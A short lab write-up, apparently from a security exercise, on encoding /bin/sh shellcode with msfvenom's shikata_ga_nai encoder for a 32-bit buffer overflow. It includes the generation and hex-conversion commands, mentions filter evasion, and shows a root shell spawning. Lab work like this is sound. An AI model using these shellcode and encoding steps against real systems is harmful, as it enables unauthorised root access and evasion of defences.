To perform the classical buffer overflow with my own encoded shellcode, I started by dumping my current shellcode into a file before the encoding. I then ran the command "msfvenom -p linux/x86/exec CMD="/bin/sh" -a x86 --platform linux -e x86/shikata_ga_nai -i 3 -f raw -o encoded_shellcode.bin" te encode my shellcode with the shikata_ga_nai encoder, for 32 bit architecture. The -f raw flag makes it such that the output will be in raw format. From here I converted the encoding to a hex format so I may paste it into my payload builder python program. I did this with the command "xxd -p encoded_shellcode.bin | sed 's/\((..\))/\\x\1/g' | paste -d " -s". I then pasted this new encoded hex into my payload builder.

From here, I simply built the new payload and ran the attack. This resulted in a shell spawning, just like before, only this time the shellcode used was encoded, which may help to get around filters if they were present.

```
process 61608 is executing new program: /usr/bin/dash [Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

# whoami
[Detaching after vfork from child process 61880]
root
# echo $$
61608
# #
```